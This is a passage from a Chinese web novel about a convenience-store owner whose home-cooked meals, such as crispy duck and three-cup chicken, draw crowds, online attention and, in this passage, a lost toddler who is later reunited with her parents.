“妈妈不是那个意思,妈妈是想问你最近是不是压力太大了?” “没有啊,我之前跟你吐槽的那个班已经辞了,现在新找了个工作。”提起自己的新工作,周瑶瑶声音都不自觉兴奋起来,“妈我跟你说,我现在这个工作可好了,老板人好,而且工作餐贼好吃,下午吃的番茄鸡蛋刀削面,手工现削的刀削面可好吃了!还有午餐,我才知道原来螺蛳竟然那么好吃,就是我不会嗦螺蛳,还被人给笑话了……” 提起便利店的工作餐,她话根本停不下来,从番茄鸡蛋刀削面说到香辣螺蛳,再从香辣螺蛳说到脆皮香酥鸭,说得她妈都有点被馋到。 看到女儿情绪和状态都那么好,周母总算相信她没在外面受委屈,放心的同时询问起她新工作是做什么。 得知是便利店店员,周母微微皱眉,询问完工资后更是有点嫌低,不过看到女儿开心,再加上她精神气色都特别好,最终还是没说什么,而是继续关心了一下她的生活。 得知她在便利店上班后不怎么熬夜了,一日三餐更是准时吃,周母忽然又觉得这个工作也不错。 周瑶瑶在和妈妈打电话分享日常时,网上有个叫“六叔”的美食博主更新了探店视频。 “六叔”是粉丝破百万的美食博主,他的探店点评很实在,对粉丝来说很有参考价值。 视频中,他表示“侠客便利店”这期视频属于计划外的内容,来q市之前他并不知道有这家店,只是正好今天从附近路过听到有人提起,才产生这个视频。 他拍视频时店内顾客都一心顾着吃去,还真没人注意到他,于是排队买完饭就直接在店外找个角落拍出这期视频。 “没想到在一家便利店的快餐里能吃到脆皮香酥鸭这种大菜,而且卖相如此诱人,味道更是没得说。脆、香、酥、嫩,将香酥鸭的特色全部完美展示出来,而且吃起来没有鸭腥味,满分十分的话,我能给十分……再看看这个香辣螺蛳,味道先不说,螺蛳处理得特别干净……小青菜炒得清脆爽口,吃不出土腥气……我简直难以相信这是快餐的水平……” 【真的有没有土腥气的炒青菜吗?我不爱吃青菜,每次说菜里有土腥味,我妈都说是我挑食。】 【那个脆皮香酥鸭看起来好好吃啊!鸭皮都被炸成琥珀色了,看着就特别脆,好想吃啊!】 【你这是快餐的话,那我中午吃的算什么[快餐图片]】 【便利店还能卖快餐?认真的吗?】 【可以卖啊,我家附近的便利店里甚至直接分出一个“小食堂”,里面有菜有饭有粉面。】 【拜托别宣传了,她家快餐本来就不好买,每天得去早点才能买到,这个视频发出来,感觉接下来会更难买了,真是服了,这可是我好不容易发现的宝藏食堂!】 【六叔竟然今天拍快餐?啧,同样是快餐,为什么他找到的快餐都那么美味,要是好好摆着盘,我感觉说是酒店菜色我都信。】 【一看菜色就知道这店的厨师肯定是个专业大厨,十有八九 是哪个退休老厨师在发挥余热。】 第20章 第20章茭白炒牛肉丝 美食博主的视频令侠客便利店在网上又小火一把,让很多网友都记住这个名字有些特别的便利店时,随着清明节即将到来,q市开始晴转雨。 由于下雨,周六这天周瑶瑶不知不觉就起晚了,等她到店时已经九点多,明清欢正在厨房开始准备午餐。 “老板我今天起晚了,不小心就迟到了……” 她有些不好意思,明清欢却宽慰道:“没事啊,你别忘记你是有假期的,实在起不来可以在家休息一天的。” 灶台上已经在蒸着鸭子,明清欢手中则是正切着茭白,她刀工好,表皮光滑的茭白在她手底下竟然完全不打滑,轻轻松松被切成丝。 “你应该还没吃早餐吧?旁边那个锅里给你留了早餐。” “老板你真好~” 周瑶瑶听到她还给自己留了早餐,如果不是顾忌她手里握着菜刀,都想凑过去抱一下她。 今天早餐是荠菜饺子,薄薄的饺子皮被蒸透后透出淡淡绿意,看着就特别好吃。 周瑶瑶记得自己前两天好像随口提过一句想吃荠菜饺子,没想到竟然真的吃上,觉得自家老板果然是世界上最最最好的老板。 上班太好了!我要给老板打一辈子工! 她咬着荠菜饺子,只觉得饺子皮软中带着韧劲,饺子馅满满都是荠菜的清香以及肉馅的鲜美。 “这一口饺子,真是太幸福了!” 周瑶瑶发出感叹,只觉得大早上饥肠辘辘时来上一盘如此美味的荠菜蒸饺,简直整个世界都瞬间变得明亮,就连外面下个不停的雨都忽然没那么讨厌了。 端着盘子哐哐吃掉三分之一,她才注意到旁边还有明清欢特意给她调的饺子蘸料。 明清欢知道她不能吃太辣,但喜欢吃辣,特意给调的辣口蘸料,蒜末加上辣椒面、白芝麻等调料用热油分次浇上去,那叫一个香。 荠菜饺子直接吃好吃,配上蘸料吃味道更加丰富,周瑶瑶越吃越开胃,没多久就将一盘饺子全部吃光光。 吃饱喝足,许是见下雨天店里没什么客人,她没急着出去,而是像个小尾巴一样跟在明清欢身旁帮忙。 切菜她帮不上忙,但洗洗菜,把台面收拾一下,再给明清欢递递东西还是没问题。 “快递!有人吗?侠客便利店快递。” 快十点时,外面响起快递员喊声,刚开始明清欢没觉得是在对自家店喊,直到听见对方指出店名才洗个手出去。 “老板你在网上买折叠桌了?”周瑶瑶跟着她出来,立刻看清楚被快递员放到门口的东西。 “我没买。” 店里就两个人,明清欢没买,周瑶瑶也没买,但快递员却不管那么多,确定地址没错把东西交给她们就直接开车走人。 “该不会是顾客买的吧?之前不是有个顾客说要支援桌子,我还以为他开玩笑。” 周瑶瑶话落,明清欢也想起这件事,觉得十有八九还真是顾客买的。 每张折叠桌不算特别大,但耐不住有十张,加上旁边一摞塑料折叠凳,放在门口还挺碍事。 明清欢只能将已经打湿的外包装除掉后,先搬到店内的角落里放着,同时对周瑶瑶道:“那等看到那位顾客时,问问他桌椅多少钱,把钱给他。” 开店让顾客帮忙买桌椅,说出去都很离谱,她还不至于要占这种便宜。 “好,我记住了。” 下雨天依旧阻止不了某些人那颗吃货心,明清欢刚进厨房就有顾客上门。 周瑶瑶见此,干脆留在店内招呼顾客把伞放门边的桶里,并细心地拿了个纸箱撕开铺在进门处,让顾客鞋底的水踩在纸板上,减少店内潮湿。 十点半左右时,店内已经有七八位老顾客,惹得后面进来的人不由感叹:“下雨天还有这么多人!” 十点五十五分左右时,几个初中生来到店里,其中领头的是吴佑南。 周瑶瑶看到她立刻打招呼:“今天不是周六吗?难道我记错了?” 周六周日吴佑南不会过来买馒头,店里自然不用给她留,不怪周瑶瑶看到她时有点怀疑时间。 “今天是星期六,我同学想过来吃饭,我就带她们一起过来。” 除了吴佑南外还有三个女生,她们由于不认识路怕找错了,就约她一起来,吴佑南最终还是答应。 得知她是跟同学过来吃饭的,周瑶瑶立刻指着角落说:“那里有桌椅,你们自己打开坐。” “你也太偏心了,怎么刚刚不告诉我们有位置坐。”有几个站在店里的顾客半开玩笑地开口。 店内基本都是老顾客,周瑶瑶闻言也开玩笑道:“桌子椅子就在那,你们自己不坐,我还以为你们就喜欢站着。” 厨房已经开始有香味飘出来,除了米饭香,最霸道的那股香味还得数脆皮香酥鸭,除此之外,今天那新上的茭白炒牛肉丝香味也很诱人。 茭白独特的清香配上牛肉的鲜香,搭配出一种令人食欲大开的气息,闻起来很是让人陶醉。 “好香啊!” “今天下雨了,本来我妈不让我出门的,还好我非要出来。” “是鸭子的香味,真的好香,比我奶奶烧的鸭子还要香。” 人本来都是偏心的,比起吵吵闹闹的成年顾客,周瑶瑶自然更愿意照顾点那几个打开桌椅坐好就小声聊天的女学生。 随着饭菜被端出来,在打饭菜时她甚至特意给几个小姑娘多打了点肉。 今天店内依旧是五菜一汤,有脆皮香酥鸭、茭白炒牛肉丝、家常土豆丝、豆腐酿肉、炒青菜、番茄鸡蛋汤。 四个女生把每个菜都点一份,便利店快餐价格不贵,吴佑南最近通过帮同学跑腿攒下来一些钱,倒是能A得起今天的饭钱。 “这个鸭看着就好好吃啊!” “比我们学校食堂的菜香一百倍!” “每个菜都又香又漂亮,还好今天过来了,等星期一时我一定要和她们炫耀。” 几个女生感叹完,开始你一筷子我一筷子地分起菜来,也幸好她们忍着馋提前把菜分好,不然待会尝过桌上菜的美味怕是要抢起来。 “好好吃啊!吃起来脆脆的香香的!” 吴佑南同样在吃脆皮香酥鸭,听到同学的话赞同地点头,觉得这是自己吃过最美味的鸭子。 鸭子先蒸再炸,连骨头都带着酥,她将肉吃完见骨头能咬得动,直接连骨头都嚼着吃起来。 香酥鸭太好吃,其他三个女生基本上和她差不多,倒是不存在谁笑话谁。 实际上别说她们这几个初中生,店里其他顾客吃起这道脆皮香酥鸭时,就没几个人能忍住不啃骨头。当然,养了狗的不算,因为得留给狗吃。 鸭肉吃完吴佑南有些意犹未尽,随即伸出筷子夹向另外一道菜。 “这是萝卜丝炒牛肉吗?怎么闻不到萝卜味?” 白色的菜丝和牛肉丝颜色互相映衬,看起来确实有点像萝卜丝炒牛肉。 吴佑南刚刚吃一口这个菜,听到同学的话开口说:“不是萝卜丝,不知道是什么菜,但很好吃。” 白色菜丝确实不是萝卜,而是茭白,洁白如玉的茭白丝配上红褐色牛肉,再加上青红椒,让这道茭白炒牛肉丝看起来卖相十足。 牛肉特有的鲜香混合茭白似雨后竹林的清新,闻起来香,吃起来更是又美味又下饭。 旁边有顾客听到她们几个学生没认出茭白,热心告诉她们。 “原来是茭白,我爸爸之前在家做过茭白炒肉,但一点都不好吃,茭白没有这个那么脆嫩,肉也老老的。”吴佑南的某位同学吃着香喷喷的茭白炒牛肉丝忽然想起来。 听到她吐槽声,旁边有顾客不由笑出声:“那说明你爸不会做菜,肯定是炒老了。” “别说,老板做的这道茭白炒牛肉丝确实好吃,脆嫩的茭白丝和鲜嫩的牛肉,我才知道茭白还能这么好吃!” “我觉得香酥鸭才是最好吃的,我上个月去吃喜酒时席上有这道菜,亏的还是在大酒店办的席面,还没这家好吃。” 外面雨还在下,店里人却一点不比平常少,只是由于不方便在外面吃,除了部分顾客选择打包 带走外,大部分顾客都选择挤在店中。 幸好便利店面积大,货架摆得不算太拥挤,凑合一下倒是能让顾客们见缝插针地摆着折叠桌吃饭。 “老板,还好你终于准备了折叠桌,不然这个鬼天气,吃饭都没地方坐着吃。” “老板今天怎么没螺蛳?” “没买螺蛳。”明清欢说完不忘接上一位顾客的话,“不是我准备的折叠桌,是早上快递直接送过来的,应该某位热心顾客做的好事。” 说曹操曹操到,她话刚说完就见那位顾客进来,立刻询问起来。 那位老顾客没讲究什么做好事不留名,直接承认不说,还问有没有给他留张桌子。 他来得不算晚,角落里还剩两张桌子,知道是他准备的折叠桌椅,其他顾客怎么也会给他留个位置。 等他排到前面时,明清欢询问他桌椅的价钱,他本来不想说,表示没几个钱,为了感谢便利店让他吃到如此美味的饭菜,免费赠送给店里。 明清欢见此,便表示既然他不收桌椅钱自己也不收饭钱。 顾客说不过她,只能把桌椅钱收下,随即赶紧端着自己那份饭坐下来吃。 雨天没有影响便利店的快餐生意,依旧是才到十二点多饭菜就全部卖完。 周瑶瑶今天来得晚,九点多才吃早餐,按说这个时间应该还不饿,但看到顾客们吃得那么香,她却是跟着馋起来。 脆皮香酥鸭最近天天吃,她倒是还好一些,不过今天新炒的那道茭白炒牛肉丝,她刚刚给顾客打菜时就特别想尝尝。 明清欢刀工好,她切出来的茭白丝和牛肉丝长度与粗细几乎没区别,原本洁白如玉的茭白染上层浅金色油光,和裹着琥珀色酱汁的牛肉丝互相交缠,再配上点点青椒丝与红椒丝点缀,整体看起来特别漂亮。 周瑶瑶以前很少吃茭白,今天是真光看着就有被它馋到,就在她想赶紧把空餐盆收拾完好去厨房里吃自己那份工作餐时,就听店内—— “你总是这样自私,什么事都只想着自己!” “不是,你要吃鸭头你就说,至于给我扣大帽子吗?” “那你吃之前为什么不能问问我?一份香酥鸭就那么多,我才吃两块,剩下的全被你吃了……而且这是一个鸭头的事吗?明明是你不管吃什么都只顾自己,跟你吃饭也太累了,但凡吃慢点就啥菜都不剩了!” “那你不能吃快点吗?再说不够吃就再买一份去,又不缺那点钱,我胃口就是大,总不能这年头还让我饿肚子。” “说得那么简单,那你现在去买啊!” 下雨天,店内今天顾客格外多,本身就显得很热闹,没想到还有人忽然吵起来。 有顾客沉迷美食无法自拔,压根不在乎别人吵架,但还有些顾客吃饭吃瓜两不误,边吃个不停边竖起耳朵听。 在听明白那对小情侣吵架的原因竟然是为了香酥鸭的鸭头时,吃瓜群众顿时觉得这个瓜一点都不香。 “兄弟,不是我说你,你一个大男人还跟女朋友抢东西吃,确实有点不合适。” “就是,你有女朋友不知道心疼,小心别人帮你心疼。” 本来就是小情侣拌拌嘴,结果被人一起哄,搞得小情侣二人真吵起来。 真是看热闹不嫌事大。 明清欢心里腹诽一句,直接转身进厨房夹了个鸭头出来放到那位女生碗里:“来,正好还有个鸭头,别理他,你自己吃。” 厨房里其实还有点香酥鸭,她倒不是舍不得给鸭肉,但不患寡而患不均,给个鸭头还好说点,要是给鸭肉,她怕其他顾客跟着要。 先蒸再炸的鸭头看起来金灿灿的,让人完全感受不到狰狞,反而注意力全落在鸭头上被炸成脆皮的部分,还没吃就感受到酥脆。 “其实不是鸭头的事,主要是他太讨厌了,每次吃个饭就跟想不起来自己女朋友在边上一样。” 女生吐槽完情绪却是被碗里鸭头给安抚,说完谢谢老板就举着鸭头向对面男朋友示意,然后在他视线中狠狠咬下去一口。 感觉自己被她当鸭头咬的男人抖了一下,随即服软道:“我错了还不行吗?但凭良心说,除了在这家店我确实跟你抢了,在其他地方吃饭时,哪次有好东西我没让你吃够?” 香酥鸭的鸭头是真好吃,鸭头上的皮肉被炸得香脆无比却不油腻,甚至连骨头都炸酥了,女生啃着鸭头吃得一脸满足,压根没工夫再理他。 明清欢用一个鸭头解决小情侣的吵架后,让周瑶瑶先去厨房吃饭,自己在店内看着。 “老板,我也要鸭头!” 店里其他顾客看到鸭头,有人直接要,有人则是看向那对小情侣,怀疑他们是不是故意用吵架来骗鸭头吃。 还有人更好笑,直接模仿那对情侣吵起来就算了,还是两个大男人。 顾客们都看出他们是在演,更别说明清欢,自然不会理会。但她不理会,两位男顾客却是扯着嗓子喊:“老板你不管管吗?” 明清欢还没回答,旁边就有人起哄道:“要不你们去外面打一架!” “哈哈哈,下雨天打架,太有即视感了,是不是还要安排个人在旁边喊‘你们不要打了’。” 美食能给人带来好心情,因此哪怕是雨天,哪怕店内坐那么多人环境有点拥挤,但气氛却是还挺好,大家说说闹闹,直到吃饱喝足才陆续离开。 由于下雨天的缘故,今天便利店里雨具是真没少卖出去。 说起来,自从明清欢开始做早餐和午餐后,由于她手艺好,倒是让店内其他东西都变得好卖起来。 比如早餐时能顺便卖出去好多牛奶、酸奶,中午时酒水饮料会卖得好,还有顾客吃完饭会顺便买点零食或家里需要的日用。 快两点时,顾客终于全部离开,店内终于显得没那么拥挤,就是地板被踩得特别脏。 周瑶瑶吃饱喝足心情好,倒是不介意干点活,拿着拖把出来就开始拖地。 顾客们大部分都很自觉,吃完就把折叠桌擦赶紧,折叠起来放回原位,店内只留下两三张没收拾的桌子。 不用周瑶瑶动手,明清欢已经麻利地把那些都给收拾好,方便她拖地。 便利店这只八哥越养越成精,现在竟然学会自己用爪子和鸟喙打开笼门。外面还在下小雨,它自然不会傻到往外飞,便扑腾着翅膀环绕在明清欢和周瑶瑶周围。 小家伙不敢惹明清欢,最多在她肩膀上停一瞬,用小脑袋蹭她两下,但它到周瑶瑶那边就是故意挡她视线,或者停在拖把上。 “别捣乱。”周瑶瑶想伸手抓它,却根本抓不住。 便利店里,明清欢收拾好桌子站在柜台后边听雨声边看一人一鸟在那闹,唇边带着淡淡笑意。 与此同时,附近某座居民楼中,洛淮青接到编辑打过来的电话。 “这两天怎么样,码多少字了?” “九千多。” 电话那头编辑听到有那么多字,眼睛瞬间就亮起来:“可以啊!正好马上就到清明假期,你可以直接来个爆更,读者肯定能乐死!” 听到编辑那么高兴,洛淮青有点不想破坏他的好心情,但有些话该说还是得说。 “九千字不是旧文,是新文的前三章。” “啥?什么新文?” “我忽然有了个美食文的灵感……” 他话还没说完,编辑声音有点激动:“祖宗!你武侠文都没完结,怎么忽然写起美食文来?不是,武侠文和美食文八竿子也打不到吧?你好好的怎么会不写旧文,来什么美食文灵感,要知道你这本武侠文可是已经有影视方看上的,在这个大家都喊着‘武侠已死’的年代,你知道火一本武侠含金量有多高吗?” 洛淮青耐心等他说完,才不紧不慢开口表示自己只是写点美食文换换心情 ,明天就更旧文。 听到他不是准备弃坑开新,编辑心里松口气的同时,还是搞不懂他好好的怎么忽然想写美食文。 见他非要问,洛淮青道:“你上次不是说我家附近有家店快餐好吃,我去尝了,确实是人间美味,尤其是她家脆皮香酥鸭,色香味俱全。” 洛淮青说完,顺手把自己关于美食文的前三章发到他手机上。 编辑接收到文档随手看起来,就看到 第一章描述脆皮香酥鸭“金黄酥脆,鸭皮似琥珀色琉璃般覆盖在深红色鸭肉上,油润的肉汁微微渗出……咬下去瞬间,脆皮酥松化渣,那清脆的‘咔嚓’声像是从口腔直接传进脑子里,酥脆与柔嫩形成强烈对比……” 他边看嘴里不自觉生出津液,等看到 第3章 里面描述茭白炒牛肉丝时,洛淮青形容牛肉丝外焦里嫩与茭白脆嫩形成的反差感,让他已经开始忍不住连连吞咽起口水来。 “这家店真有那么好吃吗?我之前只是在网上刷到探店视频,发现离你家近,没想到还给你整出个美食文灵感来。”编辑一时也不知道该不该怪自己多嘴。 洛淮青:“好吃,比我以前吃过的饭店都要美味。” “那等有空时我要过去尝尝,顺便去看看你。” 这边编辑和他约好饭时,另一边,明清欢在店里询问周瑶瑶清明要不要回家。 周瑶瑶表示她家清明不祭祖,过年才要祭祖,所以不用回家。至于休假,清明前后基本上都有雨,出去也没啥好玩的,她表示还是等天气好点时再说。 清明节前一天,天气阴,但好歹没有下雨。今天明清欢给顾客们准备了赠品,特别精致的小馓子。 “谢谢老板,不过这个是什么?炸面条吗?” “唔,这个好香好脆啊!好好吃!” “这是寒具,也叫馓子。” 明清欢回答完,有个年轻女生脑海中闪过一道记忆:“我知道了,是苏轼诗里的那个寒具,纤手搓来玉数寻,碧油轻蘸嫩黄深 ……”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 20-30 第21章 第21章三杯鸡 “苏轼可是吃货界鼻祖,他都写过诗的吃食果然美味!” 旁边同样在吃馓子的某位顾客听到《寒具》这首诗,感觉嘴里馓子更加香脆几分。 由于是寒食节请顾客们尝个鲜,明清欢特意将馓子做成掌心大小,和常规馓子比起来,更添几分精致可爱。 “真香,一吃就吃得出来是用好油炸出来的,老板可以卖点给我吗?” “我也要买,感觉这比薯片还好吃,越吃越香,拿回家当追剧小零食肯定不错。” 就去苏轼诗中所云,馓子很像被压扁的“缠臂金”,根根分明,入口薄如蝉翼,在听到“咔嚓”声同时便化进嘴里,让人迫不及待继续咬下去,不知不觉就全部吃完。 顾客们回味着嘴里余香,只觉得根本没吃过瘾,纷纷开口表示要买点回去。 “今天没有多的,等有的时候再说吧。”明清欢见顾客们都喜欢吃只能道。 “那加个好友先,老板有馓子卖时你可得通知我。” “还有我,我也要加。” 眼见顾客们纷纷举着手机要加好友,周瑶瑶赶紧开口:“先吃饭吧,吃完我建个群,把二维码贴店里,到时候你们自己家。” “行!” 今天菜色没变化,和昨天一样,除了个别顾客询问怎么又没有螺蛳,或者问问怎么不做春笋外,大家都吃得很香。 中午那阵忙完,接下来时间就很悠闲,周瑶瑶在店内溜达着,把货架该补的补,该整理的整理,忙完就没其他事。 八哥不知什么时候打开笼子溜出去玩了,她在店内张望一圈感觉有点小无聊,但又不想玩手机,便去厨房找明清欢去。 “老板,你在干嘛?” 明清欢听到她的声音,举着手里的碗问:“要不要喝米酒?” 周瑶瑶凑近就闻见一股发酵的香味,先看看她手中的碗,再看看她面前的坛子。 “老板,你还会酿米酒?太厉害了吧!” 她说完伸手把碗接过来,米酒特有的香味扑鼻而来,轻抿一口,先是甜味填满味蕾,随即涌上来淡淡米香和酒香。 “好喝哎!我喜欢喝这种小甜酒!”周瑶瑶品尝着碗中米酒,感觉眼前一亮。 明清欢这坛米酒酿的时间不算长,目前酒味不重,此时确实如周瑶瑶所说是个小甜酒。 看到她喝得欢,明清欢给自己也来了一碗,还算满意地点点头。 “老板,你怎么会忽然想酿米酒?”周瑶瑶好奇道。 “正好家里有好多糯米,酿成米酒可以喝,还可以做菜,一举两得。” 糯米还是之前明二叔送过来,自家种的糯米比外面卖的好,明清欢觉得正好适合做米酒。 “做菜?什么菜?” “三杯鸡。” 在听到明清欢讲解三杯鸡的“三杯”指的是一杯麻油,一杯米酒,一杯酱油后,周瑶瑶觉得她为了一道菜直接酿酒的行为简直太令人佩服。 佩服的同时,她想到米酒直接喝都很美味,做出来的菜还不得好吃上天,还没吃先被自己的想象给馋得咽了下口水,随即眼巴巴地问:“老板,那你什么时候做三杯鸡?” “过两天。” 明清欢说两天就两天,清明节当天她暂时关了店门,回老家去给原身爷爷以及父母扫墓去。 她老家就在q市下面的村里,明二叔看到她回来很高兴,陪着她上山扫完墓,本来想留她住几天,但明清欢不想打扰他,下午就坐车离开。 清明节第二天,早上周瑶瑶吃到她用米酒冲蛋做的早餐,本来不爱喝冲蛋的她喝得根本停不下来。 米酒消去鸡蛋的腥味,喝起来甜甜的,鸡蛋嫩嫩的,不光味道好,喝完胃里更是格外舒坦。 米酒冲蛋里还加了点糯米小丸子,吃起来糯叽叽,而且增加饱腹感,周瑶瑶喝完一大碗,脸上露出满足的表情。 看到她喜欢喝,明清欢感觉自己早上没白忙活,等和她一起把早餐卖完,开始准备食材做三杯鸡。 新鲜的三黄鸡在她手底下被轻而易举剁成块,每块鸡肉的切面都特别完整,半点碎骨都没有,待会煮熟,没有碎骨的鸡吃起来口感都会更好些。 鸡块切好腌制起来放到旁边备用,明清欢将其他配菜切好,随即打开煤气灶将麻油倒入锅中,丢入老姜将香味都煸炒出来,直到姜片开始蜷缩起来,像一片枯叶时,葱和蒜依次下锅爆香。 正菜还没下锅,光是配料爆出的香味已经很浓郁,等到鸡块滚入锅中,表皮被煎成金黄色,一股浓郁肉香逐渐从锅底升起。 明清欢视线专注地落在锅中,等到鸡块已经被染上琥珀色油光时,开始下入米酒。 米酒淋到鸡肉上瞬间激出一阵酒香,等到酱油也淋上去时,立刻给鸡肉染上酱色。 三杯鸡最主要的“三杯”全部下锅后,接下来就只要把盐等调料加点,再文火收汁就好。 明清欢买的鸡很嫩,不用炖煮很长时间,随着汁越收越干,锅里三杯鸡颜色也越来越深,香味更是源源不断飘向厨房外。 “每天来店里都要感叹一句,简直香死个人了!” “我闻到了一股带着点甜味的香气,是什么菜?” 现在才十点多,店里已经来了不少人,都不用周瑶瑶帮忙,都自觉地去墙面拿折叠桌找地方坐。 今天没有雨,来得更早的顾客占据店内好位置,来得晚的干脆直接把桌子摆到门外。 洛淮青属于来得早那批,他听到有顾客说甜味,轻嗅两下店内香气后,心里立刻浮现一道菜名——三杯鸡。 “应该是三杯鸡!我闻到鸡鲜味了!”顾客里老饕可不少,其他人同样闻着香味就猜出有什么菜。 “三杯鸡、脆皮香酥鸭,嗯,今天这菜可真不错,有鸡有鸭。” 顾客们闻着香味简直馋得不行,有人能忍,有人实在忍不住,干脆在店里 买了点零食先垫垫肚子。 “你要不要吃薯片?” “我不吃,我要留着肚子吃饭菜。” “那要不要去对面买两杯奶茶?” “喝什么奶茶,不是有汤,我要喝汤。” “嘿,你这人,明明之前是你天天喊着要喝奶茶。” 顾客们闲聊的工夫,饭菜终于开始被端出来,大家用衣服占好位置后赶紧都挤过去排队。 “哇!果然是三杯鸡!这卖相真是绝了!” 餐盆内,每块鸡肉上都混着层琥珀色酱汁,泛着光泽的酱汁下能看清楚鸡肉表皮被煎得微微焦,看起来很是诱人。 “老板,可以给我米饭上淋点三杯鸡的汤吗?” “好。”明清欢一口答应,效率很快地给顾客打好饭菜。 顾客接过饭就边走边吃起来,三杯鸡看起来很油润,但吃起来却是油而不腻,一口下去先咬到微焦的表皮,随即皮与肉之间的油脂香在味蕾上迸发开来,酱汁与鸡肉的鲜嫩混合在一起,鲜香中带着点米酒的回甜,简直是人间美味。 “好好吃啊!我还是第一次发现,原来带着微微甜口的菜竟然能这么好吃!” “鸡肉好嫩,我喜欢这道菜!” “这是三杯鸡?那我上次点外卖时那个又油又腻,鸡肉还老得要命的是什么?” 甜中带咸,咸中带鲜的三杯鸡很是美味,顾客们只要吃过,不管之前爱不爱甜口菜的顾客都被惊艳到。 洛淮青握着筷子慢条斯理地吃着一块鸡翅肉,只感觉皮滑肉嫩,而且越嚼越香,那来源于米酒的微微甜味给这道菜提味不少,若有似无的酒香更是让人下意识想追寻。 吃着这道三杯鸡,他感觉自己回去能继续码个三千字的美食文,不过想到手里被催更的旧文,他又开始思考,或许可以把灵感放入旧文中,毕竟谁规定武侠就是打打杀杀,来点美食调剂一下其实也不错。 侠客便利店里里外外都热闹得不行时,有个三四岁左右的小朋友从街对面开始往这边靠近。 刚开始没人注意她,直到她走进店里站在一个女生桌旁时,吃饭的女生下意识抬头往她身后张望,开口问了句:“小朋友你妈妈呢?” 店里人多,她是出于好心才问一句,谁知话刚落,本来被她桌上饭菜吸引的小姑娘却是哇地一声哭起来。 “宝宝你别哭啊。”女生有点无措,随即赶紧抬头喊,“这是谁家孩子?” 店里店外的顾客听到询问,纷纷转头看过来,随即都摇头表示不是自家孩子,也不认识她。 “该不会是迷路了吧?” “小朋友,你爸爸妈妈在哪?” 小家伙听到询问却根本不回答,只一个劲地哭,声音传到店外,坐在店外吃饭的顾客帮忙对着周围喊了几声,询问是谁家孩子丢了,但都得不到回应。 “老板,怎么办啊?” 顾客们凑在一起都哄不好个孩子,有人下意识转头找老板。 明清欢想想随手拿个小碗打了点饭菜走过去,蹲在哭得可怜巴巴的小家伙面前:“你饿不饿?要不要吃肉肉?” 穿着粉色外套的小姑娘长得很是可爱,看到那双哭红的眼睛,她声音都不自觉温柔起来。 哭唧唧的小家伙闻着香味,终于开口带着哭腔说了个“要”字。 “你会自己吃饭吗?”明清欢轻声询问。 “我会寄几吃饭饭……” 小姑娘总算不哭了,不过声音还是带着哭腔,明清欢将小碗递给她,在三杯鸡和脆皮香酥鸭的诱惑下,小家伙握着勺子就吃起来。 “还得是你啊老板!” 见明清欢将孩子哄好,有顾客朝她竖起大拇指,随即试着询问孩子家庭情况。 问了半天,小家伙也只在鼓着脸颊吃肉肉时抽空说了自己名字叫“圆圆”,除此之外,她一问三不知,完全沉浸在吃饭中。 “那没办法了,还是直接报警吧。” 报警电话打完,顾客们各自吃饭去,至于圆圆,她此时早就不哭了,坐在别人让出来的位置上,两只小手一只扶着碗,一只握着勺子,吃得那叫一个香。 “好乖啊。” 小孩子不哭不闹时,只要稍微长得好看点,就特别像个小天使。同桌的顾客看到她不光会自己吃饭,还会把骨头吐到纸巾上,而且不挑食,肉和青菜都吃,忍不住夸她。 “圆圆,好不好吃啊?” “好吃,介个肉肉真香呀!” 圆圆此时明显是吃高兴了,虽然眼眶还有点红,但脸上已经带上笑容,好像完全忘记自己现在是处于什么状态。 “来,喝点汤。” 今天有番茄鸡蛋汤,明清欢很快又拿小碗装好汤送过来。 “谢谢姐姐~”小家伙不哭后性格还挺开朗,不光甜甜说谢谢,甚至还伸出手凑到自己油乎乎的小嘴上对她飞了个吻。 明清欢含笑望着她,拿纸巾给她擦了两下嘴后没再离开,而是拿张椅子坐在她旁边。 今天的快餐已经卖完,这孩子毕竟是迷路到自己店里来,在家长没找到前,她觉得自己有必要看顾着些。 店内顾客看起来确实人都还不错,但明清欢行走江湖那么多年,太知道什么叫防人之心不可无。 “介个是咕咕肉。” 圆圆好像还挺喜欢她,刚刚都是安静吃自己的饭,现在边吃三杯鸡,竟然边还握着勺子奶声奶气和她说起话来。 嗯? 明清欢反应出来她说的咕咕肉是指鸡肉时,忍不住伸手帮她理一下有点歪的头发,觉得小孩子还真是可爱。 警察来得速度不慢,圆圆碗里饭还没吃完人就已经找过来,本来想要把孩子带回局里,但干饭干得正香的小家伙根本不肯走,便只能边陪在这里边打电话通知局里同事帮忙找孩子家长。 孩子丢了哪有不急的,圆圆爸爸妈妈此时正在疯狂找孩子,得到警方通知后很快就找到便利店来,就看到女儿正坐在桌子前喝汤。 吃得小肚子鼓鼓的小家伙早就忘记刚迷路时的害怕,此时就算看到爸爸妈妈,也只抬头望两眼就继续喝汤。 找到孩子,确定孩子没有事,圆圆爸爸妈妈对着警察以及明清欢和店内还没走的顾客千恩万谢。 “以后带孩子出门注意点……”事情解决,警察对着家长教育几句就直接离开。 而圆圆妈妈则是示意丈夫去买点水果来表达感谢,自己则蹲下来询问女儿怎么会跑到这里来。 “爸爸不见,我找爸爸,介里香香哒,我肚肚饿……” 今天这事说起来真得怪孩子爸爸,他带孩子出来玩,忽然想上厕所,竟然心大的让孩子在外面等他,结果出来就找不到孩子。 那个公共厕所离祥云街有几百米,显然是孩子找不到爸爸就开始到处跑,如果不是跑到附近时被侠客便利店的香味吸引进来,继续顺着这条街跑到大路上去,还不知道会有多吓人。 圆圆妈妈心里暗暗后怕,等丈夫买完水果回来忍不住狠狠拍他两巴掌,随即将水果放到柜台上再次感谢明清欢。 “不用客气。”明清欢婉拒道。 圆圆妈妈见她不肯收,直接留下水果,再次道谢后让丈夫抱着女儿离开。 一家三口从店内离开没多久,圆圆爸爸开口道:“那家店里饭菜味好香,我们明天过来吃饭怎么样?” 见他不反思把女儿弄掉的事情,还好意思惦记着吃饭,圆圆妈妈看在女儿在他怀里的份上没再动手,而是直接发消息通知公公婆婆,让他们来收拾他! 圆圆爸爸到家后会被圆圆爷爷奶奶如何混合双打先不提,等到晚上时,关于“侠客便利店快餐好吃到吸引迷路小孩”的相关视频被人放到网上。 当然,由于出于隐私保护,视频有给圆圆小朋友打上卡通头像。 网友们看到视频中小姑娘先是哭唧唧,但很快就被饭菜吸引,坐那埋头苦吃,纷纷打趣她是个小吃货 。 【看起来好小啊,幸好被吸引到店里来,不然在街上乱跑,万一碰到坏人可不得了。】 【这家便利店我之前好像在六叔那刷到过,没想到连小孩都爱吃,搞得我都有点想去尝尝。】 【三杯鸡、香酥鸭、茭白炒牛肉丝……别说小孩,换我我也爱吃。】 